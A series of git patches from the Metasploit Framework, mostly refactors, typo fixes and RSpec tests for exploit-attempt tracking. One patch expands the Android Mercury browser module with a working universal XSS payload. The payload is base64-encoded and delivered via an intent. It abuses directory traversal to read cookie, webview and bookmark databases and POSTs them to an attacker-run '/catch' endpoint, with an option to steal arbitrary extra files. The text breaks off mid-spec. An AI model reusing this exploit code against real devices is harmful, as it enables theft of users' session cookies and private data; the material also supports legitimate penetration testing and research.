fname) print_good("#{fname} saved as: #{path}") From 0113cbd353b6fdd7a8c28f919cf14490a8abfa47 Mon Sep 17 00:00:00 2001 From: Jon Hart <jon_hart@rapid7.com> Date: Wed, 16 Sep 2015 19:53:33 -0700 Subject: [PATCH 0666/2172] Nokogiri::XML::Builder instead --- .../auxiliary/admin/upnp/soap_portmapping.rb | 51 ++++++++++--------- 1 file changed, 28 insertions(+), 23 deletions(-) diff --git a/modules/auxiliary/admin/upnp/soap_portmapping.rb b/modules/auxiliary/admin/upnp/soap_portmapping.rb index 001934246f..c6c628c592 100644 --- a/modules/auxiliary/admin/upnp/soap_portmapping.rb +++ b/modules/auxiliary/admin/upnp/soap_portmapping.rb @@ -5,6 +5,7 @@ ## require 'msf/core' +require 'nokogiri' class Metasploit3 < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient @@ -80,35 +81,39 @@ class Metasploit3 < Msf::Auxiliary @soap_action ||= action.opts['SOAP_ACTION'] end - def run - content = "<?xml version=\"1.0\"?>" - content << "<SOAP-ENV:Envelope xmlns:SOAP-ENV=\"http://schemas.xmlsoap.org/soap/envelope\" SOAP-ENV:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\">" - content << "<SOAP-ENV:Body>" - content << "<m:#{soap_action} xmlns:m=\"urn:schemas-upnp-org:service:WANIPConnection:1\">" - case action.name - when 'ADD' - content << "<NewPortMappingDescription>#{Rex::Text.rand_text_alpha(8)}</NewPortMappingDescription>" - content << "<NewLeaseDuration>#{lease_duration}</NewLeaseDuration>" - content << "<NewInternalClient>#{internal_client}</NewInternalClient>" - content << "<NewEnabled>1</NewEnabled>" - content << "<NewExternalPort>#{external_port}</NewExternalPort>" - content << "<NewRemoteHost>#{external_client}</NewRemoteHost>" - content << "<NewProtocol>#{protocol}</NewProtocol>" - content << "<NewInternalPort>#{internal_port}</NewInternalPort>" - when 'DELETE' - content << "<NewExternalPort>#{external_port}</NewExternalPort>" - content << "<NewRemoteHost>#{external_client}</NewRemoteHost>" - content << "<NewProtocol>#{protocol}</NewProtocol>" + def build_soap + builder = ::Nokogiri::XML::Builder.new do |xml| + xml['SOAP-ENV'].Envelope("xmlns:SOAP-ENV" => 'http://schemas.xmlsoap.org/soap/envelope', 'SOAP-ENV:encodingStyle' => 'http://schemas.xmlsoap.org/soap/encoding/') do + xml['SOAP-ENV'].Body do + xml['m'].send(soap_action, 'xmlns:m' => 'urn:schemas-upnp-org:service:WANIPConnection:1') do + case action.name + when 'ADD' + xml.NewPortMappingDescription(Rex::Text.rand_text_alpha(8)) { xml.parent.namespace = nil } + xml.NewLeaseDuration(lease_duration) { xml.parent.namespace = nil } + xml.NewInternalClient(internal_client) { xml.parent.namespace = nil } + xml.NewEnabled(1) { xml.parent.namespace = nil } + xml.NewExternalPort(external_port) { xml.parent.namespace = nil } + xml.NewRemoteHost(external_client) { xml.parent.namespace = nil } + xml.NewProtocol(protocol) { xml.parent.namespace = nil } + xml.NewInternalPort(internal_port) { xml.parent.namespace = nil } + when 'DELETE' + xml.NewExternalPort(external_port) { xml.parent.namespace = nil } + xml.NewRemoteHost(external_client) { xml.parent.namespace = nil } + xml.NewProtocol(protocol) { xml.parent.namespace = nil } + end + end + end + end end - content << "</m:#{soap_action}>" - content << "</SOAP-ENV:Body>" - content << "</SOAP-ENV:Envelope>" + builder.to_xml + end + def run res = send_request_cgi( 'uri' => normalize_uri(target_uri.path), 'method' => 'POST', 'content-type' => 'text/xml;charset="utf-8"', - 'data' => content, + 'data' => build_soap, 'headers' => { 'SoapAction' => "urn:schemas-upnp-org:service:WANIPConnection:1##{soap_action}" } From 0d94b8a48f4b27014fd3483054faa8004b9f954e Mon Sep 17 00:00:00 2001 From: joevennix <joevennix@github> Date: Thu, 17 Sep 2015 09:59:31 -0500 Subject: [PATCH 0667/2172] Make andorid_mercury_parseuri better --- .../server/android_mercury_parseuri.rb | 120 +++++++++++------- 1 file changed, 73 insertions(+), 47 deletions(-) diff --git a/modules/auxiliary/server/android_mercury_parseuri.rb b/modules/auxiliary/server/android_mercury_parseuri.rb index 9ecc27d8c8..c2ebb87503 100644 --- a/modules/auxiliary/server/android_mercury_parseuri.rb +++ b/modules/auxiliary/server/android_mercury_parseuri.rb @@ -8,6 +8,7 @@ require 'msf/core' class Metasploit3 < Msf::Auxiliary include Msf::Exploit::Remote::HttpServer::HTML + include Msf::Auxiliary::Report def initialize(info = {}) super(update_info(info, @@ -22,56 +23,18 @@ class Metasploit3 < Msf::Auxiliary 'Author' => [ 'rotlogix', # Vuln discovery, PoC, etc - 'sinn3r' + 'sinn3r', + 'joev' ], 'License' => MSF_LICENSE, 'References' => [ - [ 'URL', 'http://rotlogix.com/2015/08/23/exploiting-the-mercury-browser-for-android/' ] + [ 'URL', 'http://rotlogix.com/2015/08/23/exploiting-the-mercury-browser-for-android/' ], + [ 'URL', 'http://versprite.com/og/multiple-vulnerabilities-in-mercury-browser-for-android-version-3-0-0/' ] ] )) - end - def send_http_request(rhost, opts={}) - res = nil - cli = Rex::Proto::Http::Client.new(rhost, 8888) - begin - cli.connect - req = cli.request_cgi(opts) - res = cli.send_recv(req) - rescue ::EOFError, Errno::ETIMEDOUT ,Errno::ECONNRESET, Rex::ConnectionError, - OpenSSL::SSL::SSLError, ::Timeout::Error => e - return nil - ensure - cli.close - end - - res - end - - def get_xml_files(rhost) - base_dir = '../../../../data/data/com.ilegendsoft.mercury' - - ['/mercury_database.db', '/shared_prefs/passcode.xml'].each do |item| - opts = { - 'method' => 'GET', - 'uri' => '/dodownload', - 'vars_get' => { - 'fname' => "#{base_dir}#{item}" - }, - 'headers' => { - 'Referer' => "http://#{rhost}:8888/storage/emulated/0/Download/" - } - } - - print_status("Retrieving #{item}") - res = send_http_request(rhost, opts) - next unless res - print_status("Server response: #{res.code}") - p = store_loot('android.mercury.file', 'application/octet-stream', rhost, res.body) - print_good("#{item} saved as: #{p}") - end end def is_android?(user_agent) @@ -87,12 +50,62 @@ class Metasploit3 < Msf::Auxiliary <body> <script> location.href="intent:#Intent;SEL;component=com.ilegendsoft.mercury/.external.wfm.ui.WFMActivity2;action=android.intent.action.VIEW;end"; + setTimeout(function() { + location.href="intent:#Intent;S.load=javascript:eval(atob('#{Rex::Text.encode_base64(uxss)}'));SEL;component=com.ilegendsoft.mercury/com.ilegendsoft.social.common.SimpleWebViewActivity;end"; + }, 500); </script> </body> </html> | end + def backend_url + proto = (datastore['SSL'] ? 'https' : 'http') + my_host = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address : datastore['SRVHOST'] + port_str = (datastore['SRVPORT'].to_i == 80) ? '' : ":#{datastore['SRVPORT']}" + resource = ('/' == get_resource[-1,1]) ? get_resource[0, get_resource.length-1] : get_resource + + "#{proto}://#{my_host}#{port_str}#{resource}/catch" + end + + def uxss + %Q| + function exploit() { + history.replaceState({},{},'/storage/emulated/0/Download/'); + var urls = #{JSON.generate(file_urls)}; + urls.forEach(function(url) { + var x = new XMLHttpRequest(); + x.open('GET', '/dodownload?fname=../../../..'+url); + x.responseType = 'arraybuffer'; + x.send(); + x.onload = function(){ + var buff = new Uint8Array(x.response); + var hex = Array.prototype.map.call(buff, function(d) { + var c = d.toString(16); + return (c.length < 2) ? 0+c : c; + }).join(''); + var send = new XMLHttpRequest(); + send.open('POST', '#{backend_url}/'+encodeURIComponent(url.replace(/.*\\//,''))); + send.setRequestHeader('Content-type', 'text/plain'); + send.send(hex); + }; + }); + } + + var q = window.open('http://localhost:8888/','x'); + q.onload = function(){ q.eval('('+exploit.toString()+')()'); }; + | + end + + def file_urls + [ + '/data/data/com.ilegendsoft.mercury/databases/webviewCookiesChromium.db', + '/data/data/com.ilegendsoft.mercury/databases/webviewCookiesChromiumPrivate.db', + '/data/data/com.ilegendsoft.mercury/databases/webview.db', + '/data/data/com.ilegendsoft.mercury/databases/bookmarks.db' + ] + end + def on_request_uri(cli, req) print_status("Requesting: #{req.uri}") @@ -102,17 +115,30 @@ class Metasploit3 < Msf::Auxiliary return end + if req.method =~ /post/i + if req.body + filename = File.basename(req.uri) || 'file' + output = store_loot( + filename, 'text/plain', cli.peerhost, hex2bin(req.body), filename, 'Android mercury browser file' + ) + print_good("Stored #{req.body.bytes.length} bytes to #{output}") + end + + return + end + print_status('Sending HTML...') html = get_html send_response_html(cli, html) - - print_status("Attempting to connect to: http://#{cli.peerhost}:8888/") - sleep(2) - get_xml_files(cli.peerhost) end + def hex2bin(hex) + hex.chars.each_slice(2).map(&:join).map { |c| c.to_i(16) }.map(&:chr).join + end + + def run exploit end -end +end \ No newline at end of file From 08b5b8ebb2df3efe529e269ddf8b37a23b39fe4c Mon Sep 17 00:00:00 2001 From: wchen-r7 <wei_chen@rapid7.com> Date: Thu, 17 Sep 2015 11:30:58 -0500 Subject: [PATCH 0668/2172] Add ADDITIONAL_FILES option --- .../server/android_mercury_parseuri.rb | 17 +++++++++++++++-- 1 file changed, 15 insertions(+), 2 deletions(-) diff --git a/modules/auxiliary/server/android_mercury_parseuri.rb b/modules/auxiliary/server/android_mercury_parseuri.rb index c2ebb87503..c06b2ed165 100644 --- a/modules/auxiliary/server/android_mercury_parseuri.rb +++ b/modules/auxiliary/server/android_mercury_parseuri.rb @@ -19,6 +19,10 @@ class Metasploit3 < Msf::Auxiliary private wifi manager activity, which starts a web server for Mercury on port 8888. The webserver also suffers a directory traversal that allows remote access to sensitive files. + + By default, this module will go after webviewCookiesChromium.db, webviewCookiesChromiumPrivate.db, + webview.db, and bookmarks.db. But if this isn't enough, you can also specify the + ADDITIONAL_FILES datastore option to collect more files. }, 'Author' => [ @@ -34,7 +38,10 @@ class Metasploit3 < Msf::Auxiliary ] )) - + register_options( + [ + OptString.new('ADDITIONAL_FILES', [false, 'Additional files to steal from the device']) + ], self.class) end def is_android?(user_agent) @@ -98,12 +105,18 @@ class Metasploit3 < Msf::Auxiliary end def file_urls - [ + files = [ '/data/data/com.ilegendsoft.mercury/databases/webviewCookiesChromium.db', '/data/data/com.ilegendsoft.mercury/databases/webviewCookiesChromiumPrivate.db', '/data/data/com.ilegendsoft.mercury/databases/webview.db', '/data/data/com.ilegendsoft.mercury/databases/bookmarks.db' ] + + if datastore['ADDITIONAL_FILES'] + files.concat(datastore['ADDITIONAL_FILES'].split) + end + + files end def on_request_uri(cli, req) From 060acbc496a48fa45a8f089d954c9e16533ede86 Mon Sep 17 00:00:00 2001 From: wchen-r7 <wei_chen@rapid7.com> Date: Thu, 17 Sep 2015 11:39:39 -0500 Subject: [PATCH 0669/2172] newline --- modules/auxiliary/server/android_mercury_parseuri.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/auxiliary/server/android_mercury_parseuri.rb b/modules/auxiliary/server/android_mercury_parseuri.rb index c06b2ed165..d152584e06 100644 --- a/modules/auxiliary/server/android_mercury_parseuri.rb +++ b/modules/auxiliary/server/android_mercury_parseuri.rb @@ -154,4 +154,4 @@ class Metasploit3 < Msf::Auxiliary exploit end -end \ No newline at end of file +end From 48b06a2cd93a2f5530812bdb279badaea586e190 Mon Sep 17 00:00:00 2001 From: Mo Sadek <msadek@rapid7.com> Date: Fri, 18 Sep 2015 10:48:24 -0500 Subject: [PATCH 0670/2172] Fixed no detection error --- data/js/detect/os.js | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/data/js/detect/os.js b/data/js/detect/os.js index 0c9963c1af..364b8de276 100644 --- a/data/js/detect/os.js +++ b/data/js/detect/os.js @@ -1,4 +1,3 @@ - // Case matters, see lib/msf/core/constants.rb // All of these should match up with constants in ::Msf::HttpClients var clients_opera = "Opera"; @@ -343,7 +342,7 @@ os_detect.getVersion = function(){ if (version.match(/Linux/)) { os_name = oses_linux; } - + // end navigator.oscpu checks else if (typeof ScriptEngineMajorVersion == "function") { // Then this is IE and we can very reliably detect the OS. // Need to add detection for IE on Mac. Low priority, since we From 0aea4a8b0075f875356dea3c2628e977c4207dc0 Mon Sep 17 00:00:00 2001 From: wchen-r7 <wei_chen@rapid7.com> Date: Fri, 18 Sep 2015 11:09:52 -0500 Subject: [PATCH 0671/2172] An SEH? A SEH? --- modules/exploits/windows/ftp/kmftp_utility_cwd.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/modules/exploits/windows/ftp/kmftp_utility_cwd.rb b/modules/exploits/windows/ftp/kmftp_utility_cwd.rb index 3efb972a67..2799facccc 100644 --- a/modules/exploits/windows/ftp/kmftp_utility_cwd.rb +++ b/modules/exploits/windows/ftp/kmftp_utility_cwd.rb @@ -15,9 +15,9 @@ class Metasploit3 < Msf::Exploit::Remote super(update_info(info, 'Name' => 'Konica Minolta FTP Utility 1.00 Post Auth CWD Command SEH Overflow', 'Description' => %q{ - This module exploits a SEH overflow in Konica Minolta FTP Server 1.00. + This module exploits an SEH overflow in Konica Minolta FTP Server 1.00. Konica Minolta FTP fails to check input size when parsing 'CWD' commands, which - leads to a SEH overflow. Konica FTP allows anonymous access by default; valid + leads to an SEH overflow. Konica FTP allows anonymous access by default; valid credentials are typically unnecessary to exploit this vulnerability. }, 'Author' => From d3a73149a25c5eda0d28562db6961869f066653c Mon Sep 17 00:00:00 2001 From: Fernando Arias <fernando_arias@rapid7.com> Date: Fri, 18 Sep 2015 12:04:45 -0500 Subject: [PATCH 0672/2172] Add specs around match result creation in exploit attempt MSP-13119 --- lib/msf/core/db_manager/exploit_attempt.rb | 2 +- .../msf/db_manager/exploit_attempt.rb | 267 +++++++++++-- .../shared/examples/msf/db_manager/session.rb | 353 +++++++++++++++++- 3 files changed, 569 insertions(+), 53 deletions(-) diff --git a/lib/msf/core/db_manager/exploit_attempt.rb b/lib/msf/core/db_manager/exploit_attempt.rb index 3348050bf3..f8113975d8 100644 --- a/lib/msf/core/db_manager/exploit_attempt.rb +++ b/lib/msf/core/db_manager/exploit_attempt.rb @@ -194,7 +194,7 @@ module Msf::DBManager::ExploitAttempt # Only create a match result if a match exists if match.present? run ||= MetasploitDataModels::AutomaticExploitation::Run.find(run_id) - create_match_result(match:match,run:run, session_id: opts[:session_id]) + create_match_result(opts.merge(match:match,run:run)) end end diff --git a/spec/support/shared/examples/msf/db_manager/exploit_attempt.rb b/spec/support/shared/examples/msf/db_manager/exploit_attempt.rb index ce8c172459..135b6a0395 100644 --- a/spec/support/shared/examples/msf/db_manager/exploit_attempt.rb +++ b/spec/support/shared/examples/msf/db_manager/exploit_attempt.rb @@ -5,52 +5,251 @@ shared_examples_for 'Msf::DBManager::ExploitAttempt' do it { is_expected.to respond_to :report_exploit_success } describe '#report_exploit_success' do - subject(:report_exploit_success) do - db_manager.report_exploit_success(opts) - end - let(:workspace) do - FactoryGirl.create(:mdm_workspace) - end + context "with a match" do + subject(:report_exploit_success) do + db_manager.report_exploit_success(opts) + end - let(:host) do - FactoryGirl.create(:mdm_host, workspace: workspace) - end + let(:opts) do + { + workspace: workspace, + refs: refs, + host: host, + vuln: vuln_with_match, + session_id: session_id + } + end - let(:refs) do - [ FactoryGirl.create(:mdm_ref) ] - end + let(:session_id) do + FactoryGirl.create(:session, host: host).id + end - let(:vuln) do - FactoryGirl.create(:mdm_vuln) - end + let(:match) do + FactoryGirl.create(:automatic_exploitation_match) + end - let(:opts) do - { - workspace: workspace, - refs: refs, - host: host, - vuln: vuln, - } - end + let(:vuln_with_match) do + match.matchable + end + + let(:host) do + FactoryGirl.create(:mdm_host, workspace:workspace,vulns:[vuln_with_match]) + end + + let(:workspace) do + FactoryGirl.create(:mdm_workspace) + end + + let(:refs) do + [ FactoryGirl.create(:mdm_ref) ] + end + + context 'with a vuln' do + specify do + expect { + report_exploit_success + }.to change(Mdm::VulnAttempt,:count).by(1) + end + + context "with a session" do + it "should create a match result" do + expect { + report_exploit_success + }.to change(MetasploitDataModels::AutomaticExploitation::MatchResult,:count).by(1) + end + + it "should create a match result with state SUCCEEDED" do + report_exploit_success + expect( + MetasploitDataModels::AutomaticExploitation::MatchResult.where( + match_id: match.id, + state: MetasploitDataModels::AutomaticExploitation::MatchResult::SUCCEEDED + ) + ).to exist + end + end + + context "without a session" do + let(:session_id) {nil} + + it "should create a match result" do + expect { + report_exploit_success + }.to change(MetasploitDataModels::AutomaticExploitation::MatchResult,:count).by(1) + end + + it "should create a match result with state FAILED" do + report_exploit_success + expect( + MetasploitDataModels::AutomaticExploitation::MatchResult.where( + match_id: match.id, + state: MetasploitDataModels::AutomaticExploitation::MatchResult::FAILED + ) + ).to exist + end + end + + context "calling report_exploit_success" do + after(:each) do + report_exploit_success + end + + it "should call create_match_result_for_vuln" do + db_manager.should_receive(:create_match_result_for_vuln) + end + + it "should call create_match_result" do + db_manager.should_receive(:create_match_result) + end + + it "should call create_run_for_vuln" do + db_manager.should_receive(:create_run_for_vuln) + end + end + + end + + context 'without a vuln' do + let(:vuln_with_match) { nil } + + let(:host) do + FactoryGirl.create(:mdm_host, workspace:workspace) + end + + specify do + expect { + report_exploit_success + }.not_to change(Mdm::VulnAttempt, :count) + end + + it "should not create a match result" do + expect { + report_exploit_success + }.to change(MetasploitDataModels::AutomaticExploitation::MatchResult,:count).by(0) + end + + context "calling report_exploit_success" do + after(:each) do + report_exploit_success + end + + it "should not call create_match_result_for_vuln" do + db_manager.should_not_receive(:create_match_result_for_vuln) + end + + it "should not call create_match_result" do + db_manager.should_not_receive(:create_match_result) + end + + it "should not call create_run_for_vuln" do + db_manager.should_not_receive(:create_run_for_vuln) + end + end - context 'with a vuln' do - specify do - expect { - report_exploit_success - }.to change(Mdm::VulnAttempt,:count).by(1) end end - context 'without a vuln' do - let(:vuln) { nil } - specify do - expect { - report_exploit_success - }.not_to change(Mdm::VulnAttempt, :count) + context "without a match" do + subject(:report_exploit_success) do + db_manager.report_exploit_success(opts) + end + + let(:workspace) do + FactoryGirl.create(:mdm_workspace) + end + + let(:host) do + FactoryGirl.create(:mdm_host, workspace: workspace) + end + + let(:refs) do + [ FactoryGirl.create(:mdm_ref) ] + end + + let(:vuln) do + FactoryGirl.create(:mdm_vuln) + end + + let(:opts) do + { + workspace: workspace, + refs: refs, + host: host, + vuln: vuln, + } + end + + context 'with a vuln' do + specify do + expect { + report_exploit_success + }.to change(Mdm::VulnAttempt,:count).by(1) + end + + it "should not create a match result" do + expect { + report_exploit_success + }.to change(MetasploitDataModels::AutomaticExploitation::MatchResult,:count).by(0) + end + + context "calling report_exploit_success" do + after(:each) do + report_exploit_success + end + + it "should call create_match_result_for_vuln" do + db_manager.should_receive(:create_match_result_for_vuln) + end + + it "should not call create_match_result" do + db_manager.should_not_receive(:create_match_result) + end + + it "should call create_run_for_vuln" do + db_manager.should_receive(:create_run_for_vuln) + end + end + + end + + context 'without a vuln' do + let(:vuln) { nil } + + specify do + expect { + report_exploit_success + }.not_to change(Mdm::VulnAttempt, :count) + end + + it "should not create a match result" do + expect { + report_exploit_success + }.to change(MetasploitDataModels::AutomaticExploitation::MatchResult,:count).by(0) + end + + context "calling report_exploit_success" do + after(:each) do + report_exploit_success + end + + it "should not call create_match_result_for_vuln" do + db_manager.should_not_receive(:create_match_result_for_vuln) + end + + it "should not call create_match_result" do + db_manager.should_not_receive(:create_match_result) + end + + it "should not call create_run_for_vuln" do + db_manager.should_not_receive(:create_run_for_vuln) + end + end + end end + end end diff --git a/spec/support/shared/examples/msf/db_manager/session.rb b/spec/support/shared/examples/msf/db_manager/session.rb index acc5734635..d898bf6c42 100644 --- a/spec/support/shared/examples/msf/db_manager/session.rb +++ b/spec/support/shared/examples/msf/db_manager/session.rb @@ -121,33 +121,350 @@ shared_examples_for 'Msf::DBManager::Session' do ) end - context 'with a match in user_data' do - let(:vuln) do - FactoryGirl.create(:mdm_vuln, - name: parent_module_name, - host: host) - end - + context 'with a run_id in user_data' do let(:user_data) do { - match: FactoryGirl.build(:automatic_exploitation_match, matchable: vuln), - match_set: FactoryGirl.build(:automatic_exploitation_match_set), - run: FactoryGirl.build(:automatic_exploitation_run, workspace: session_workspace), + run_id: FactoryGirl.create(:automatic_exploitation_run, workspace: session_workspace).id, } end - it 'should make a MatchResult' do - expect { + context 'with :workspace' do + before(:each) do + options[:workspace] = options_workspace + end + + it 'should not find workspace from session' do + db_manager.should_not_receive(:find_workspace) + + expect { report_session }.to change(Mdm::Vuln, :count).by(1) + end + end + + context 'without :workspace' do + it 'should find workspace from session' do + db_manager.should_receive(:find_workspace).with(session.workspace).and_call_original + report_session - }.to change(MetasploitDataModels::AutomaticExploitation::MatchResult, :count).by(1) + end + + it 'should pass session.workspace to #find_or_create_host' do + db_manager.should_receive(:find_or_create_host).with( + hash_including( + :workspace => session_workspace + ) + ).and_return(host) + + expect { report_session }.to change(Mdm::Vuln, :count).by(1) + end end - it 'should not increase the host count' do - expect { report_session }.not_to change(Mdm::Host, :count) - end + context 'with workspace from either :workspace or session' do + it 'should pass normalized host from session as :host to #find_or_create_host' do + normalized_host = double('Normalized Host') + db_manager.stub(:normalize_host).with(session).and_return(normalized_host) + # stub report_vuln so its use of find_or_create_host and normalize_host doesn't interfere. + db_manager.stub(:report_vuln) - it 'should not increase the vuln count' do - expect { report_session }.not_to change(Mdm::Vuln, :count) + db_manager.should_receive(:find_or_create_host).with( + hash_including( + :host => normalized_host + ) + ).and_return(host) + + report_session + end + + context 'with session responds to arch' do + let(:arch) do + FactoryGirl.generate :mdm_host_arch + end + + before(:each) do + session.stub(:arch => arch) + end + + it 'should pass :arch to #find_or_create_host' do + db_manager.should_receive(:find_or_create_host).with( + hash_including( + :arch => arch + ) + ).and_call_original + + expect { report_session }.to change(Mdm::Vuln, :count).by(1) + end + end + + context 'without session responds to arch' do + it 'should not pass :arch to #find_or_create_host' do + db_manager.should_receive(:find_or_create_host).with( + hash_excluding( + :arch + ) + ).and_call_original + + expect { report_session }.to change(Mdm::Vuln, :count).by(1) + end + end + + it 'should create an Mdm::Session' do + expect { + report_session + }.to change(Mdm::Session, :count).by(1) + end + + it { should be_an Mdm::Session } + + it 'should set session.db_record to created Mdm::Session' do + mdm_session = report_session + + session.db_record.should == mdm_session + end + + context 'with session.via_exploit' do + + it 'should create Mdm::Vuln' do + expect { + report_session + }.to change(Mdm::Vuln, :count).by(1) + end + + context 'created Mdm::Vuln' do + let(:mdm_session) do + Mdm::Session.last + end + + let(:rport) do + nil + end + + before(:each) do + Timecop.freeze + + session.exploit_datastore['RPORT'] = rport + + report_session + end + + after(:each) do + Timecop.return + end + + subject(:vuln) do + Mdm::Vuln.last + end + + it { expect(subject.host).to eq(Mdm::Host.last) } + it { expect(subject.refs).to eq([]) } + it { expect(subject.exploited_at).to be_within(1.second).of(Time.now.utc) } + + context "with session.via_exploit 'exploit/multi/handler'" do + context "with session.exploit_datastore['ParentModule']" do + it { expect(subject.info).to eq("Exploited by #{parent_module_fullname} to create Session #{mdm_session.id}") } + it { expect(subject.name).to eq(parent_module_name) } + end + end + + context "without session.via_exploit 'exploit/multi/handler'" do + let(:reference_name) do + 'windows/smb/ms08_067_netapi' + end + + before(:each) do + path = File.join( + parent_path, + 'exploits', + "#{reference_name}.rb" + ) + type = 'exploit' + + # fake cache data for ParentModule so it can be loaded + framework.modules.send( + :module_info_by_path=, + { + path => + { + :parent_path => parent_path, + :reference_name => reference_name, + :type => type, + } + } + ) + + session.via_exploit = "#{type}/#{reference_name}" + end + + it { expect(subject.info).to eq("Exploited by #{session.via_exploit} to create Session #{mdm_session.id}") } + it { expect(subject.name).to eq(reference_name) } + end + + context 'with RPORT' do + let(:rport) do + # use service.port instead of having service use rport so + # that service is forced to exist before call to + # report_service, which happens right after using rport in + # outer context's before(:each) + service.port + end + + let(:service) do + FactoryGirl.create( + :mdm_service, + :host => host + ) + end + + it { expect(subject.service).to eq(service) } + end + + context 'without RPORT' do + it { expect(subject.service).to be_nil } + end + end + + context 'created Mdm::ExploitAttempt' do + let(:rport) do + nil + end + + before(:each) do + Timecop.freeze + + session.exploit_datastore['RPORT'] = rport + + report_session + end + + after(:each) do + Timecop.return + end + + subject(:exploit_attempt) do + Mdm::ExploitAttempt.last + end + + it { expect(subject.attempted_at).to be_within(1.second).of(Time.now.utc) } + # @todo https://www.pivotaltracker.com/story/show/48362615 + it { expect(subject.session_id).to eq(Mdm::Session.last.id) } + it { expect(subject.exploited).to be_truthy } + # @todo https://www.pivotaltracker.com/story/show/48362615 + it { expect(subject.vuln_id).to eq(Mdm::Vuln.last.id) } + + context "with session.via_exploit 'exploit/multi/handler'" do + context "with session.datastore['ParentModule']" do + it { expect(subject.module).to eq(parent_module_fullname) } + end + end + + context "without session.via_exploit 'exploit/multi/handler'" do + before(:each) do + session.via_exploit = parent_module_fullname + end + + it { expect(subject.module).to eq(session.via_exploit) } + end + end + end + + context 'returned Mdm::Session' do + before(:each) do + Timecop.freeze + end + + after(:each) do + Timecop.return + end + + subject(:mdm_session) do + report_session + end + + # + # Ensure session has attributes present so its on mdm_session are + # not just comparing nils. + # + + it 'should have session.info present' do + session.info.should be_present + end + + it 'should have session.sid present' do + session.sid.should be_present + end + + it 'should have session.platform present' do + session.platform.should be_present + end + + it 'should have session.type present' do + session.type.should be_present + end + + it 'should have session.via_exploit present' do + session.via_exploit.should be_present + end + + it 'should have session.via_payload present' do + session.via_exploit.should be_present + end + + it { expect(subject.datastore).to eq(session.exploit_datastore.to_h) } + it { expect(subject.desc).to eq(session.info) } + it { expect(subject.host_id).to eq(Mdm::Host.last.id) } + it { expect(subject.last_seen).to be_within(1.second).of(Time.now.utc) } + it { expect(subject.local_id).to eq(session.sid) } + it { expect(subject.opened_at).to be_within(1.second).of(Time.now.utc) } + it { expect(subject.platform).to eq(session.platform) } + it { expect(subject.routes).to eq([]) } + it { expect(subject.stype).to eq(session.type) } + it { expect(subject.via_payload).to eq(session.via_payload) } + + context "with session.via_exploit 'exploit/multi/handler'" do + it "should have session.via_exploit of 'exploit/multi/handler'" do + session.via_exploit.should == 'exploit/multi/handler' + end + + context "with session.exploit_datastore['ParentModule']" do + it "should have session.exploit_datastore['ParentModule']" do + session.exploit_datastore['ParentModule'].should_not be_nil + end + + it { expect(subject.via_exploit).to eq(parent_module_fullname) } + end + end + + context "without session.via_exploit 'exploit/multi/handler'" do + before(:each) do + reference_name = 'windows/smb/ms08_067_netapi' + path = File.join( + parent_path, + 'exploits', + "#{reference_name}.rb" + ) + type = 'exploit' + + # fake cache data for ParentModule so it can be loaded + framework.modules.send( + :module_info_by_path=, + { + path => + { + :parent_path => parent_path, + :reference_name => reference_name, + :type => type, + } + } + ) + + session.via_exploit = "#{type}/#{reference_name}" + end + + it "should not have session.via_exploit of 'exploit/multi/handler'" do + session.via_exploit.should_not == 'exploit/multi/handler' + end + + it { expect(subject.via_exploit).to eq(session.via_exploit) } + end + end end end From 359306a1a463af49e0830edb66f5523a34e97d13 Mon Sep 17 00:00:00 2001 From: Fernando Arias <fernando_arias@rapid7.com> Date: Fri, 18 Sep 2015 12:25:21 -0500 Subject: [PATCH 0673/2172] Add specs to exploit_attempt to cover report_exploit_failure MSP-13119 --- .../msf/db_manager/exploit_attempt.rb | 266 +++++++++++++++--- 1 file changed, 231 insertions(+), 35 deletions(-) diff --git a/spec/support/shared/examples/msf/db_manager/exploit_attempt.rb b/spec/support/shared/examples/msf/db_manager/exploit_attempt.rb index 135b6a0395..38ce121f0f 100644 --- a/spec/support/shared/examples/msf/db_manager/exploit_attempt.rb +++ b/spec/support/shared/examples/msf/db_manager/exploit_attempt.rb @@ -4,8 +4,227 @@ shared_examples_for 'Msf::DBManager::ExploitAttempt' do it { is_expected.to respond_to :report_exploit_failure } it { is_expected.to respond_to :report_exploit_success } - describe '#report_exploit_success' do + describe '#report_exploit_failure' do + context "with a match" do + subject(:report_exploit_failure) do + db_manager.report_exploit_failure(opts) + end + let(:opts) do + { + workspace: workspace, + refs: refs, + host: host, + vuln: vuln_with_match + } + end + + let(:match) do + FactoryGirl.create(:automatic_exploitation_match) + end + + let(:vuln_with_match) do + match.matchable + end + + let(:host) do + FactoryGirl.create(:mdm_host, workspace:workspace,vulns:[vuln_with_match]) + end + + let(:workspace) do + FactoryGirl.create(:mdm_workspace) + end + + let(:refs) do + [ FactoryGirl.create(:mdm_ref) ] + end + + context 'with a vuln' do + specify do + expect { + report_exploit_failure + }.to change(Mdm::VulnAttempt,:count).by(1) + end + + it "should create a match result" do + expect { + report_exploit_failure + }.to change(MetasploitDataModels::AutomaticExploitation::MatchResult,:count).by(1) + end + + it "should create a match result with state FAILED" do + report_exploit_failure + expect( + MetasploitDataModels::AutomaticExploitation::MatchResult.where( + match_id: match.id, + state: MetasploitDataModels::AutomaticExploitation::MatchResult::FAILED + ) + ).to exist + end + + context "calling report_exploit_success" do + after(:each) do + report_exploit_failure + end + + it "should call create_match_result_for_vuln" do + db_manager.should_receive(:create_match_result_for_vuln) + end + + it "should call create_match_result" do + db_manager.should_receive(:create_match_result) + end + + it "should call create_run_for_vuln" do + db_manager.should_receive(:create_run_for_vuln) + end + end + + end + + context 'without a vuln' do + let(:vuln_with_match) { nil } + + let(:host) do + FactoryGirl.create(:mdm_host, workspace:workspace) + end + + specify do + expect { + report_exploit_failure + }.not_to change(Mdm::VulnAttempt, :count) + end + + it "should not create a match result" do + expect { + report_exploit_failure + }.to change(MetasploitDataModels::AutomaticExploitation::MatchResult,:count).by(0) + end + + context "calling report_exploit_success" do + after(:each) do + report_exploit_failure + end + + it "should not call create_match_result_for_vuln" do + db_manager.should_not_receive(:create_match_result_for_vuln) + end + + it "should not call create_match_result" do + db_manager.should_not_receive(:create_match_result) + end + + it "should not call create_run_for_vuln" do + db_manager.should_not_receive(:create_run_for_vuln) + end + end + + end + end + + + context "without a match" do + subject(:report_exploit_failure) do + db_manager.report_exploit_failure(opts) + end + + let(:workspace) do + 